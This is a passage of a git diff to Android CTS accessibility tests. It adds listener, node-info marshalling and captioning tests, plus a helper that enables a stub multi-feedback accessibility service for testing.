     private AccessibilityManager mAccessibilityManager;
 
+    private Context mTargetContext;
+
+    private Handler mHandler;
+
     @Override
     public void setUp() throws Exception {
         mAccessibilityManager = (AccessibilityManager)
                 getInstrumentation().getContext().getSystemService(Service.ACCESSIBILITY_SERVICE);
-        ServiceControlUtils.enableSpeakingAndVibratingServices(getInstrumentation());
+        mTargetContext = getInstrumentation().getTargetContext();
+        mHandler = new Handler(mTargetContext.getMainLooper());
     }
 
     @Override
@@ -56,11 +68,8 @@
     }
 
     public void testAddAndRemoveAccessibilityStateChangeListener() throws Exception {
-        AccessibilityStateChangeListener listener = new AccessibilityStateChangeListener() {
-            @Override
-            public void onAccessibilityStateChanged(boolean enabled) {
+        AccessibilityStateChangeListener listener = (state) -> {
                 /* do nothing */
-            }
         };
         assertTrue(mAccessibilityManager.addAccessibilityStateChangeListener(listener));
         assertTrue(mAccessibilityManager.removeAccessibilityStateChangeListener(listener));
@@ -68,11 +77,8 @@
     }
 
     public void testAddAndRemoveTouchExplorationStateChangeListener() throws Exception {
-        TouchExplorationStateChangeListener listener = new TouchExplorationStateChangeListener() {
-            @Override
-            public void onTouchExplorationStateChanged(boolean enabled) {
-                // Do nothing.
-            }
+        TouchExplorationStateChangeListener listener = (boolean enabled) -> {
+            // Do nothing.
         };
         assertTrue(mAccessibilityManager.addTouchExplorationStateChangeListener(listener));
         assertTrue(mAccessibilityManager.removeTouchExplorationStateChangeListener(listener));
@@ -80,6 +86,7 @@
     }
 
     public void testIsTouchExplorationEnabled() throws Exception {
+        ServiceControlUtils.enableSpeakingAndVibratingServices(getInstrumentation());
         new PollingCheck() {
             @Override
             protected boolean check() {
@@ -98,11 +105,11 @@
         for (int i = 0; i < serviceCount; i++) {
             AccessibilityServiceInfo installedService = installedServices.get(i);
             ServiceInfo serviceInfo = installedService.getResolveInfo().serviceInfo;
-            if (getClass().getPackage().getName().equals(serviceInfo.packageName)
+            if (mTargetContext.getPackageName().equals(serviceInfo.packageName)
                     && SPEAKING_ACCESSIBLITY_SERVICE_NAME.equals(serviceInfo.name)) {
                 speakingServiceInstalled = true;
             }
-            if (getClass().getPackage().getName().equals(serviceInfo.packageName)
+            if (mTargetContext.getPackageName().equals(serviceInfo.packageName)
                     && VIBRATING_ACCESSIBLITY_SERVICE_NAME.equals(serviceInfo.name)) {
                 vibratingServiceInstalled = true;
             }
@@ -112,6 +119,7 @@
     }
 
     public void testGetEnabledAccessibilityServiceList() throws Exception {
+        ServiceControlUtils.enableSpeakingAndVibratingServices(getInstrumentation());
         List<AccessibilityServiceInfo> enabledServices =
             mAccessibilityManager.getEnabledAccessibilityServiceList(
                     AccessibilityServiceInfo.FEEDBACK_ALL_MASK);
@@ -121,11 +129,11 @@
         for (int i = 0; i < serviceCount; i++) {
             AccessibilityServiceInfo enabledService = enabledServices.get(i);
             ServiceInfo serviceInfo = enabledService.getResolveInfo().serviceInfo;
-            if (getClass().getPackage().getName().equals(serviceInfo.packageName)
+            if (mTargetContext.getPackageName().equals(serviceInfo.packageName)
                     && SPEAKING_ACCESSIBLITY_SERVICE_NAME.equals(serviceInfo.name)) {
                 speakingServiceEnabled = true;
             }
-            if (getClass().getPackage().getName().equals(serviceInfo.packageName)
+            if (mTargetContext.getPackageName().equals(serviceInfo.packageName)
                     && VIBRATING_ACCESSIBLITY_SERVICE_NAME.equals(serviceInfo.name)) {
                 vibratingServiceEnabled = true;
             }
@@ -135,6 +143,7 @@
     }
 
     public void testGetEnabledAccessibilityServiceListForType() throws Exception {
+        ServiceControlUtils.enableSpeakingAndVibratingServices(getInstrumentation());
         List<AccessibilityServiceInfo> enabledServices =
             mAccessibilityManager.getEnabledAccessibilityServiceList(
                     AccessibilityServiceInfo.FEEDBACK_SPOKEN);
@@ -143,7 +152,7 @@
         for (int i = 0; i < serviceCount; i++) {
             AccessibilityServiceInfo enabledService = enabledServices.get(i);
             ServiceInfo serviceInfo = enabledService.getResolveInfo().serviceInfo;
-            if (getClass().getPackage().getName().equals(serviceInfo.packageName)
+            if (mTargetContext.getPackageName().equals(serviceInfo.packageName)
                     && SPEAKING_ACCESSIBLITY_SERVICE_NAME.equals(serviceInfo.name)) {
                 return;
             }
@@ -151,6 +160,43 @@
         fail("The speaking service is not enabled.");
     }
 
+    public void testGetEnabledAccessibilityServiceListForTypes() throws Exception {
+        ServiceControlUtils.enableSpeakingAndVibratingServices(getInstrumentation());
+        // For this test, also enable a service with multiple feedback types
+        ServiceControlUtils.enableMultipleFeedbackTypesService(getInstrumentation());
+
+        List<AccessibilityServiceInfo> enabledServices =
+                mAccessibilityManager.getEnabledAccessibilityServiceList(
+                        AccessibilityServiceInfo.FEEDBACK_SPOKEN
+                                | AccessibilityServiceInfo.FEEDBACK_HAPTIC);
+        assertSame("There should be 3 enabled accessibility services.", 3, enabledServices.size());
+        boolean speakingServiceEnabled = false;
+        boolean vibratingServiceEnabled = false;
+        boolean multipleFeedbackTypesServiceEnabled = false;
+        final int serviceCount = enabledServices.size();
+        for (int i = 0; i < serviceCount; i++) {
+            AccessibilityServiceInfo enabledService = enabledServices.get(i);
+            ServiceInfo serviceInfo = enabledService.getResolveInfo().serviceInfo;
+            if (mTargetContext.getPackageName().equals(serviceInfo.packageName)
+                    && SPEAKING_ACCESSIBLITY_SERVICE_NAME.equals(serviceInfo.name)) {
+                speakingServiceEnabled = true;
+            }
+            if (mTargetContext.getPackageName().equals(serviceInfo.packageName)
+                    && VIBRATING_ACCESSIBLITY_SERVICE_NAME.equals(serviceInfo.name)) {
+                vibratingServiceEnabled = true;
+            }
+            if (mTargetContext.getPackageName().equals(serviceInfo.packageName)
+                    && MULTIPLE_FEEDBACK_TYPES_ACCESSIBILITY_SERVICE_NAME.equals(
+                    serviceInfo.name)) {
+                multipleFeedbackTypesServiceEnabled = true;
+            }
+        }
+        assertTrue("The speaking service should be enabled.", speakingServiceEnabled);
+        assertTrue("The vibrating service should be enabled.", vibratingServiceEnabled);
+        assertTrue("The multiple feedback types service should be enabled.",
+                multipleFeedbackTypesServiceEnabled);
+    }
+
     @SuppressWarnings("deprecation")
     public void testGetAccessibilityServiceList() throws Exception {
         List<ServiceInfo> services = mAccessibilityManager.getAccessibilityServiceList();
@@ -159,11 +205,11 @@
         final int serviceCount = services.size();
         for (int i = 0; i < serviceCount; i++) {
             ServiceInfo serviceInfo = services.get(i);
-            if (getClass().getPackage().getName().equals(serviceInfo.packageName)
+            if (mTargetContext.getPackageName().equals(serviceInfo.packageName)
                     && SPEAKING_ACCESSIBLITY_SERVICE_NAME.equals(serviceInfo.name)) {
                 speakingServiceInstalled = true;
             }
-            if (getClass().getPackage().getName().equals(serviceInfo.packageName)
+            if (mTargetContext.getPackageName().equals(serviceInfo.packageName)
                     && VIBRATING_ACCESSIBLITY_SERVICE_NAME.equals(serviceInfo.name)) {
                 vibratingServiceInstalled = true;
             }
@@ -173,33 +219,137 @@
     }
 
     public void testInterrupt() throws Exception {
-        // The APIs are heavily tested in the android.accessibiliyservice package.
+        // The APIs are heavily tested in the android.accessibilityservice package.
         // This just makes sure the call does not throw an exception.
+        ServiceControlUtils.enableSpeakingAndVibratingServices(getInstrumentation());
         waitForAccessibilityEnabled();
         mAccessibilityManager.interrupt();
     }
 
     public void testSendAccessibilityEvent() throws Exception {
-        // The APIs are heavily tested in the android.accessibiliyservice package.
+        // The APIs are heavily tested in the android.accessibilityservice package.
         // This just makes sure the call does not throw an exception.
+        ServiceControlUtils.enableSpeakingAndVibratingServices(getInstrumentation());
         waitForAccessibilityEnabled();
         mAccessibilityManager.sendAccessibilityEvent(AccessibilityEvent.obtain(
                 AccessibilityEvent.TYPE_VIEW_CLICKED));
     }
 
-    public void testTouchExplorationStateChanged() throws Exception {
-        waitForTouchExplorationEnabled();
+    public void testTouchExplorationListenerNoHandler() throws Exception {
+        final Object waitObject = new Object();
+        final AtomicBoolean atomicBoolean = new AtomicBoolean(false);
+
+        TouchExplorationStateChangeListener listener = (boolean b) -> {
+            synchronized (waitObject) {
+                atomicBoolean.set(b);
+                waitObject.notifyAll();
+            }
+        };
+        mAccessibilityManager.addTouchExplorationStateChangeListener(listener);
+        ServiceControlUtils.enableSpeakingAndVibratingServices(getInstrumentation());
+        assertAtomicBooleanBecomes(atomicBoolean, true, waitObject,
+                "Touch exploration state listener not called when services enabled");
+        assertTrue("Listener told that touch exploration is enabled, but manager says disabled",
+                mAccessibilityManager.isTouchExplorationEnabled());
+        ServiceControlUtils.turnAccessibilityOff(getInstrumentation());
+        assertAtomicBooleanBecomes(atomicBoolean, false, waitObject,
+                "Touch exploration state listener not called when services disabled");
+        assertFalse("Listener told that touch exploration is disabled, but manager says it enabled",
+                mAccessibilityManager.isTouchExplorationEnabled());
+        mAccessibilityManager.removeTouchExplorationStateChangeListener(listener);
+    }
+
+    public void testTouchExplorationListenerWithHandler() throws Exception {
+        final Object waitObject = new Object();
+        final AtomicBoolean atomicBoolean = new AtomicBoolean(false);
+
+        TouchExplorationStateChangeListener listener = (boolean b) -> {
+            synchronized (waitObject) {
+                atomicBoolean.set(b);
+                waitObject.notifyAll();
+            }
+        };
+        mAccessibilityManager.addTouchExplorationStateChangeListener(listener, mHandler);
+        ServiceControlUtils.enableSpeakingAndVibratingServices(getInstrumentation());
+        assertAtomicBooleanBecomes(atomicBoolean, true, waitObject,
+                "Touch exploration state listener not called when services enabled");
+        assertTrue("Listener told that touch exploration is enabled, but manager says disabled",
+                mAccessibilityManager.isTouchExplorationEnabled());
+        ServiceControlUtils.turnAccessibilityOff(getInstrumentation());
+        assertAtomicBooleanBecomes(atomicBoolean, false, waitObject,
+                "Touch exploration state listener not called when services disabled");
+        assertFalse("Listener told that touch exploration is disabled, but manager says it enabled",
+                mAccessibilityManager.isTouchExplorationEnabled());
+        mAccessibilityManager.removeTouchExplorationStateChangeListener(listener);
+    }
+
+    public void testAccessibilityStateListenerNoHandler() throws Exception {
+        final Object waitObject = new Object();
+        final AtomicBoolean atomicBoolean = new AtomicBoolean(false);
+
+        AccessibilityStateChangeListener listener = (boolean b) -> {
+            synchronized (waitObject) {
+                atomicBoolean.set(b);
+                waitObject.notifyAll();
+            }
+        };
+        mAccessibilityManager.addAccessibilityStateChangeListener(listener);
+        ServiceControlUtils.enableMultipleFeedbackTypesService(getInstrumentation());
+        assertAtomicBooleanBecomes(atomicBoolean, true, waitObject,
+                "Accessibility state listener not called when services enabled");
+        assertTrue("Listener told that accessibility is enabled, but manager says disabled",
+                mAccessibilityManager.isEnabled());
+        ServiceControlUtils.turnAccessibilityOff(getInstrumentation());
+        assertAtomicBooleanBecomes(atomicBoolean, false, waitObject,
+                "Accessibility state listener not called when services disabled");
+        assertFalse("Listener told that accessibility is disabled, but manager says enabled",
+                mAccessibilityManager.isEnabled());
+        mAccessibilityManager.removeAccessibilityStateChangeListener(listener);
+    }
+
+    public void testAccessibilityStateListenerWithHandler() throws Exception {
+        final Object waitObject = new Object();
+        final AtomicBoolean atomicBoolean = new AtomicBoolean(false);
+
+        AccessibilityStateChangeListener listener = (boolean b) -> {
+            synchronized (waitObject) {
+                atomicBoolean.set(b);
+                waitObject.notifyAll();
+            }
+        };
+        mAccessibilityManager.addAccessibilityStateChangeListener(listener, mHandler);
+        ServiceControlUtils.enableMultipleFeedbackTypesService(getInstrumentation());
+        assertAtomicBooleanBecomes(atomicBoolean, true, waitObject,
+                "Accessibility state listener not called when services enabled");
+        assertTrue("Listener told that accessibility is enabled, but manager says disabled",
+                mAccessibilityManager.isEnabled());
+        ServiceControlUtils.turnAccessibilityOff(getInstrumentation());
+        assertAtomicBooleanBecomes(atomicBoolean, false, waitObject,
+                "Accessibility state listener not called when services disabled");
+        assertFalse("Listener told that accessibility is disabled, but manager says enabled",
+                mAccessibilityManager.isEnabled());
+        mAccessibilityManager.removeAccessibilityStateChangeListener(listener);
+    }
+
+    private void assertAtomicBooleanBecomes(AtomicBoolean atomicBoolean,
+            boolean expectedValue, Object waitObject, String message)
+            throws Exception {
+        long timeoutTime = System.currentTimeMillis() + WAIT_FOR_ACCESSIBILITY_ENABLED_TIMEOUT;
+        synchronized (waitObject) {
+            while ((atomicBoolean.get() != expectedValue)
+                    && (System.currentTimeMillis() < timeoutTime)) {
+                waitObject.wait(timeoutTime - System.currentTimeMillis());
+            }
+        }
+        assertTrue(message, atomicBoolean.get() == expectedValue);
     }
 
     private void waitForAccessibilityEnabled() throws InterruptedException {
         final Object waitObject = new Object();
 
-        AccessibilityStateChangeListener listener = new AccessibilityStateChangeListener() {
-            @Override
-            public void onAccessibilityStateChanged(boolean b) {
-                synchronized (waitObject) {
-                    waitObject.notifyAll();
-                }
+        AccessibilityStateChangeListener listener = (boolean b) -> {
+            synchronized (waitObject) {
+                waitObject.notifyAll();
             }
         };
         mAccessibilityManager.addAccessibilityStateChangeListener(listener);
@@ -213,28 +363,4 @@
         mAccessibilityManager.removeAccessibilityStateChangeListener(listener);
         assertTrue("Timed out enabling accessibility", mAccessibilityManager.isEnabled());
     }
-
-    private void waitForTouchExplorationEnabled() throws InterruptedException {
-        final Object waitObject = new Object();
-
-        TouchExplorationStateChangeListener listener = new TouchExplorationStateChangeListener() {
-            @Override
-            public void onTouchExplorationStateChanged(boolean b) {
-                synchronized (waitObject) {
-                    waitObject.notifyAll();
-                }
-            }
-        };
-        mAccessibilityManager.addTouchExplorationStateChangeListener(listener);
-        long timeoutTime = System.currentTimeMillis() + WAIT_FOR_ACCESSIBILITY_ENABLED_TIMEOUT;
-        synchronized (waitObject) {
-            while (!mAccessibilityManager.isTouchExplorationEnabled()
-                    && (System.currentTimeMillis() < timeoutTime)) {
-                waitObject.wait(timeoutTime - System.currentTimeMillis());
-            }
-        }
-        mAccessibilityManager.removeTouchExplorationStateChangeListener(listener);
-        assertTrue("Timed out enabling touch exploration",
-                mAccessibilityManager.isTouchExplorationEnabled());
-    }
 }
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java
index 9c9b0db..1dfbf94 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java
@@ -20,6 +20,7 @@
 import android.os.Parcel;
 import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.SmallTest;
+import android.text.TextUtils;
 import android.view.View;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityNodeInfo;
@@ -27,6 +28,7 @@
 import android.view.accessibility.cts.R;
 
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.List;
 
 /**
@@ -34,14 +36,20 @@
  */
 public class AccessibilityNodeInfoTest extends AndroidTestCase {
 
-    /** The number of properties of the {@link AccessibilityNodeInfo} class. */
-    private static final int NON_STATIC_FIELD_COUNT = 31;
+    /** The number of properties of the {@link AccessibilityNodeInfo} class that are marshalled. */
+    private static final int NUM_MARSHALLED_PROPERTIES = 33;
+
+    /**
+     * The number of properties that are purposely not marshalled
+     * mOriginalText - Used when resolving clickable spans; intentionally not parceled
+     */
+    private static final int NUM_NONMARSHALLED_PROPERTIES = 1;
 
     @SmallTest
     public void testMarshaling() throws Exception {
         // no new fields, so we are testing marshaling of all such
         AccessibilityRecordTest.assertNoNewNonStaticFieldsAdded(AccessibilityNodeInfo.class,
-                NON_STATIC_FIELD_COUNT);
+                NUM_MARSHALLED_PROPERTIES + NUM_NONMARSHALLED_PROPERTIES);
 
         // fully populate the node info to marshal
         AccessibilityNodeInfo sentInfo = AccessibilityNodeInfo.obtain(new View(getContext()));
@@ -163,6 +171,28 @@
     }
 
     /**
+     * While CharSequence is immutable, some classes implementing it are mutable. Make sure they
+     * can't change the object by changing the objects backing CharSequence
+     */
+    @SmallTest
+    public void testChangeTextAfterSetting_shouldNotAffectInfo() {
+        final String originalText = "Cassowaries";
+        final String newText = "Hornbill";
+        AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
+        StringBuffer updatingString = new StringBuffer(originalText);
+        info.setText(updatingString);
+        info.setError(updatingString);
+        info.setContentDescription(updatingString);
+
+        updatingString.delete(0, updatingString.length());
+        updatingString.append(newText);
+
+        assertTrue(TextUtils.equals(originalText, info.getText()));
+        assertTrue(TextUtils.equals(originalText, info.getError()));
+        assertTrue(TextUtils.equals(originalText, info.getContentDescription()));
+    }
+
+    /**
      * Fully populates the {@link AccessibilityNodeInfo} to marshal.
      *
      * @param info The node info to populate.
@@ -178,6 +208,7 @@
         info.setContentDescription("content description");
         info.setPackageName("foo.bar.baz");
         info.setText("text");
+        info.setHintText("hint");
         info.setCheckable(true);
         info.setChecked(true);
         info.setClickable(true);
@@ -200,6 +231,8 @@
         info.setLabelFor(new View(getContext()));
         info.setViewIdResourceName("foo.bar:id/baz");
         info.setDrawingOrder(5);
+        info.setAvailableExtraData(
+                Arrays.asList(AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY));
     }
 
     /**
@@ -224,6 +257,8 @@
         assertEquals("packageName has incorrect value", expectedInfo.getPackageName(),
                 receivedInfo.getPackageName());
         assertEquals("text has incorrect value", expectedInfo.getText(), receivedInfo.getText());
+        assertEquals("Hint text has incorrect value",
+                expectedInfo.getHintText(), receivedInfo.getHintText());
         assertSame("checkable has incorrect value", expectedInfo.isCheckable(),
                 receivedInfo.isCheckable());
         assertSame("checked has incorrect value", expectedInfo.isChecked(),
@@ -267,6 +302,8 @@
                 receivedInfo.getViewIdResourceName());
         assertEquals("drawing order has incorrect value", expectedInfo.getDrawingOrder(),
                 receivedInfo.getDrawingOrder());
+        assertEquals("Extra data flags have incorrect value", expectedInfo.getAvailableExtraData(),
+                receivedInfo.getAvailableExtraData());
     }
 
     /**
@@ -284,6 +321,7 @@
         assertNull("contentDescription not properly recycled", info.getContentDescription());
         assertNull("packageName not properly recycled", info.getPackageName());
         assertNull("text not properly recycled", info.getText());
+        assertNull("Hint text not properly recycled", info.getHintText());
         assertFalse("checkable not properly recycled", info.isCheckable());
         assertFalse("checked not properly recycled", info.isChecked());
         assertFalse("clickable not properly recycled", info.isClickable());
@@ -303,5 +341,6 @@
                 info.getMovementGranularities());
         assertNull("viewId not properly recycled", info.getViewIdResourceName());
         assertEquals(0, info.getDrawingOrder());
+        assertTrue(info.getAvailableExtraData().isEmpty());
     }
 }
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
index bd14ee6..799a43b 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
@@ -62,7 +62,6 @@
         assertSame(AccessibilityServiceInfo.FEEDBACK_SPOKEN, speakingService.feedbackType);
         assertSame(AccessibilityServiceInfo.DEFAULT
                 | AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS
-                | AccessibilityServiceInfo.FLAG_REQUEST_ENHANCED_WEB_ACCESSIBILITY
                 | AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE
                 | AccessibilityServiceInfo.FLAG_REQUEST_FILTER_KEY_EVENTS
                 | AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS,
@@ -72,13 +71,14 @@
         assertNull(speakingService.packageNames /*all packages*/);
         assertNotNull(speakingService.getId());
         assertSame(speakingService.getCapabilities(),
-                AccessibilityServiceInfo.CAPABILITY_CAN_REQUEST_ENHANCED_WEB_ACCESSIBILITY
-                | AccessibilityServiceInfo.CAPABILITY_CAN_REQUEST_FILTER_KEY_EVENTS
+                AccessibilityServiceInfo.CAPABILITY_CAN_REQUEST_FILTER_KEY_EVENTS
                 | AccessibilityServiceInfo.CAPABILITY_CAN_REQUEST_TOUCH_EXPLORATION
                 | AccessibilityServiceInfo.CAPABILITY_CAN_RETRIEVE_WINDOW_CONTENT);
         assertEquals("foo.bar.Activity", speakingService.getSettingsActivityName());
         assertEquals("Some description", speakingService.loadDescription(
                 getInstrumentation().getContext().getPackageManager()));
+        assertEquals("Some summary", speakingService.loadSummary(
+                getInstrumentation().getContext().getPackageManager()));
         assertNotNull(speakingService.getResolveInfo());
     }
 }
diff --git a/tests/accessibility/src/android/view/accessibility/cts/CaptioningManagerTest.java b/tests/accessibility/src/android/view/accessibility/cts/CaptioningManagerTest.java
index cf82666..86c6f41 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/CaptioningManagerTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/CaptioningManagerTest.java
@@ -22,16 +22,25 @@
 import android.view.accessibility.CaptioningManager;
 import android.view.accessibility.CaptioningManager.CaptionStyle;
 import android.view.accessibility.CaptioningManager.CaptioningChangeListener;
+import org.mockito.Mockito;
 
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.io.InputStream;
 import java.util.Locale;
 
+import static org.mockito.Matchers.anyFloat;
+import static org.mockito.Matchers.anyObject;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyZeroInteractions;
+
 /**
  * Tests whether the CaptioningManager APIs are functional.
  */
 public class CaptioningManagerTest extends InstrumentationTestCase {
+    private static final int LISTENER_TIMEOUT = 3000;
     private CaptioningManager mManager;
     private UiAutomation mUiAutomation;
 
@@ -56,32 +65,32 @@
         putSecureSetting("accessibility_captioning_locale", "en_US");
         putSecureSetting("accessibility_captioning_font_scale", "1.0");
 
-        MockCaptioningChangeListener listener = new MockCaptioningChangeListener();
-        mManager.addCaptioningChangeListener(listener);
+        CaptioningChangeListener mockListener = mock(CaptioningChangeListener.class);
+        mManager.addCaptioningChangeListener(mockListener);
 
         putSecureSetting("accessibility_captioning_enabled", "1");
-        assertTrue("Observed enabled change", listener.wasEnabledChangedCalled);
+        verify(mockListener, timeout(LISTENER_TIMEOUT)).onEnabledChanged(true);
 
         // Style change gets posted in a Runnable, so we need to wait for idle.
         putSecureSetting("accessibility_captioning_preset", "-1");
         getInstrumentation().waitForIdleSync();
-        assertTrue("Observed user style change", listener.wasUserStyleChangedCalled);
+        verify(mockListener, timeout(LISTENER_TIMEOUT)).onUserStyleChanged(anyObject());
 
         putSecureSetting("accessibility_captioning_locale", "ja_JP");
-        assertTrue("Observed locale change", listener.wasLocaleChangedCalled);
+        verify(mockListener, timeout(LISTENER_TIMEOUT)).onLocaleChanged(anyObject());
 
         putSecureSetting("accessibility_captioning_font_scale", "2.0");
-        assertTrue("Observed font scale change", listener.wasFontScaleChangedCalled);
+        verify(mockListener, timeout(LISTENER_TIMEOUT)).onFontScaleChanged(anyFloat());
 
-        mManager.removeCaptioningChangeListener(listener);
+        mManager.removeCaptioningChangeListener(mockListener);
 
-        listener.reset();
+        Mockito.reset(mockListener);
 
         putSecureSetting("accessibility_captioning_enabled","0");
-        assertFalse("Did not observe enabled change", listener.wasEnabledChangedCalled);
+        verifyZeroInteractions(mockListener);
 
         try {
-            mManager.removeCaptioningChangeListener(listener);
+            mManager.removeCaptioningChangeListener(mockListener);
         } catch (Exception e) {
             throw new AssertionError("Fails silently when removing listener twice", e);
         }
@@ -134,42 +143,4 @@
             throw new RuntimeException("Failed to exec: " + cmd);
         }
     }
-
-    private static class MockCaptioningChangeListener extends CaptioningChangeListener {
-        boolean wasEnabledChangedCalled = false;
-        boolean wasUserStyleChangedCalled = false;
-        boolean wasLocaleChangedCalled = false;
-        boolean wasFontScaleChangedCalled = false;
-
-        @Override
-        public void onEnabledChanged(boolean enabled) {
-            super.onEnabledChanged(enabled);
-            wasEnabledChangedCalled = true;
-        }
-
-        @Override
-        public void onUserStyleChanged(CaptionStyle userStyle) {
-            super.onUserStyleChanged(userStyle);
-            wasUserStyleChangedCalled = true;
-        }
-
-        @Override
-        public void onLocaleChanged(Locale locale) {
-            super.onLocaleChanged(locale);
-            wasLocaleChangedCalled = true;
-        }
-
-        @Override
-        public void onFontScaleChanged(float fontScale) {
-            super.onFontScaleChanged(fontScale);
-            wasFontScaleChangedCalled = true;
-        }
-
-        public void reset() {
-            wasEnabledChangedCalled = false;
-            wasUserStyleChangedCalled = false;
-            wasLocaleChangedCalled = false;
-            wasFontScaleChangedCalled = false;
-        }
-    }
 }
diff --git a/tests/accessibility/src/android/view/accessibility/cts/ServiceControlUtils.java b/tests/accessibility/src/android/view/accessibility/cts/ServiceControlUtils.java
index c2e0050..9783cb8 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/ServiceControlUtils.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/ServiceControlUtils.java
@@ -39,8 +39,11 @@
             "android.view.accessibility.cts/.SpeakingAccessibilityService:"
             + "android.view.accessibility.cts/.VibratingAccessibilityService";
 
+    private static final String SETTING_ENABLE_MULTIPLE_FEEDBACK_TYPES_SERVICE =
+            "android.view.accessibility.cts/.SpeakingAndVibratingAccessibilityService";
+
     /**
-     * Enable {@code SpeakingAccessibilityService} and {@code SpeakingAccessibilityService}
+     * Enable {@code SpeakingAccessibilityService} and {@code VibratingAccessibilityService}
      *
      * @param instrumentation A valid instrumentation
      */
@@ -104,6 +107,57 @@
     }
 
     /**
+     * Enable {@link SpeakingAndVibratingAccessibilityService} for tests requiring a service with
+     * multiple feedback types
+     *
+     * @param instrumentation A valid instrumentation
+     */
+    public static void enableMultipleFeedbackTypesService(Instrumentation instrumentation)
+            throws IOException {
+        Context context = instrumentation.getContext();
+
+        // Get permission to enable accessibility
+        UiAutomation uiAutomation = instrumentation.getUiAutomation();
+
+        // Change the settings to enable the services
+        ContentResolver cr = context.getContentResolver();
+        String alreadyEnabledServices = Settings.Secure.getString(
+                cr, Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES);
+        ParcelFileDescriptor fd = uiAutomation.executeShellCommand("settings --user cur put secure "
+                + Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES + " "
+                + alreadyEnabledServices + ":"
+                + SETTING_ENABLE_MULTIPLE_FEEDBACK_TYPES_SERVICE);
+        InputStream in = new FileInputStream(fd.getFileDescriptor());
+        byte[] buffer = new byte[4096];
+        while (in.read(buffer) > 0);
+        uiAutomation.destroy();
+
+        // Wait for the service to be connected
+        long timeoutTimeMillis = SystemClock.uptimeMillis() + TIMEOUT_FOR_SERVICE_ENABLE;
+        boolean multipleFeedbackTypesServiceEnabled = false;
+        while (!multipleFeedbackTypesServiceEnabled && (SystemClock.uptimeMillis()
+                < timeoutTimeMillis)) {
+            synchronized (SpeakingAndVibratingAccessibilityService.sWaitObjectForConnecting) {
+                if (SpeakingAndVibratingAccessibilityService.sConnectedInstance != null) {
+                    multipleFeedbackTypesServiceEnabled = true;
+                    break;
+                }
+                if (!multipleFeedbackTypesServiceEnabled) {
+                    try {
+                        SpeakingAndVibratingAccessibilityService.sWaitObjectForConnecting.wait(
+                                timeoutTimeMillis - SystemClock.uptimeMillis());
+                    } catch (InterruptedException e) {
+                    }
+                }
+            }
+        }
+        if (!multipleFeedbackTypesServiceEnabled) {
+            throw new RuntimeException(
+                    "Multiple feedback types accessibility service not starting");
+        }
+    }
+
+    /**
      * Turn off all accessibility services. Assumes permissions to write settings are already
      * set, which they are in
      * {@link ServiceControlUtils#enableSpeakingAndVibratingServices(Instrumentation)}.
@@ -111,10 +165,18 @@
      * @param instrumentation A valid instrumentation
      */
     public static void turnAccessibilityOff(Instrumentation instrumentation) {
-        SpeakingAccessibilityService.sConnectedInstance.disableSelf();
-        SpeakingAccessibilityService.sConnectedInstance = null;
-        VibratingAccessibilityService.sConnectedInstance.disableSelf();
-        VibratingAccessibilityService.sConnectedInstance = null;
+        if (SpeakingAccessibilityService.sConnectedInstance != null) {
+            SpeakingAccessibilityService.sConnectedInstance.disableSelf();
+            SpeakingAccessibilityService.sConnectedInstance = null;
+        }
+        if (VibratingAccessibilityService.sConnectedInstance != null) {
+            VibratingAccessibilityService.sConnectedInstance.disableSelf();
+            VibratingAccessibilityService.sConnectedInstance = null;
+        }
+        if (SpeakingAndVibratingAccessibilityService.sConnectedInstance != null) {
+            SpeakingAndVibratingAccessibilityService.sConnectedInstance.disableSelf();
+            SpeakingAndVibratingAccessibilityService.sConnectedInstance = null;
+        }
 
         final Object waitLockForA11yOff = new Object();
         AccessibilityManager manager = (AccessibilityManager) instrumentation
diff --git a/tests/accessibility/src/android/view/accessibility/cts/SpeakingAndVibratingAccessibilityService.java b/tests/accessibility/src/android/view/accessibility/cts/SpeakingAndVibratingAccessibilityService.java
new file mode 100644
index 0000000..4a591f4
--- /dev/null
+++ b/tests/accessibility/src/android/view/accessibility/cts/SpeakingAndVibratingAccessibilityService.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.accessibility.cts;
+
+import android.accessibilityservice.AccessibilityService;
+import android.accessibilityservice.AccessibilityServiceInfo;
+import android.view.accessibility.AccessibilityEvent;
+
+/**
+ * Stub accessibility service that reports itself as providing multiple feedback types.
+ */
+public class SpeakingAndVibratingAccessibilityService extends AccessibilityService {
+    public static Object sWaitObjectForConnecting = new Object();
+
+    public static SpeakingAndVibratingAccessibilityService sConnectedInstance;
+
+    @Override
+    public void onDestroy() {
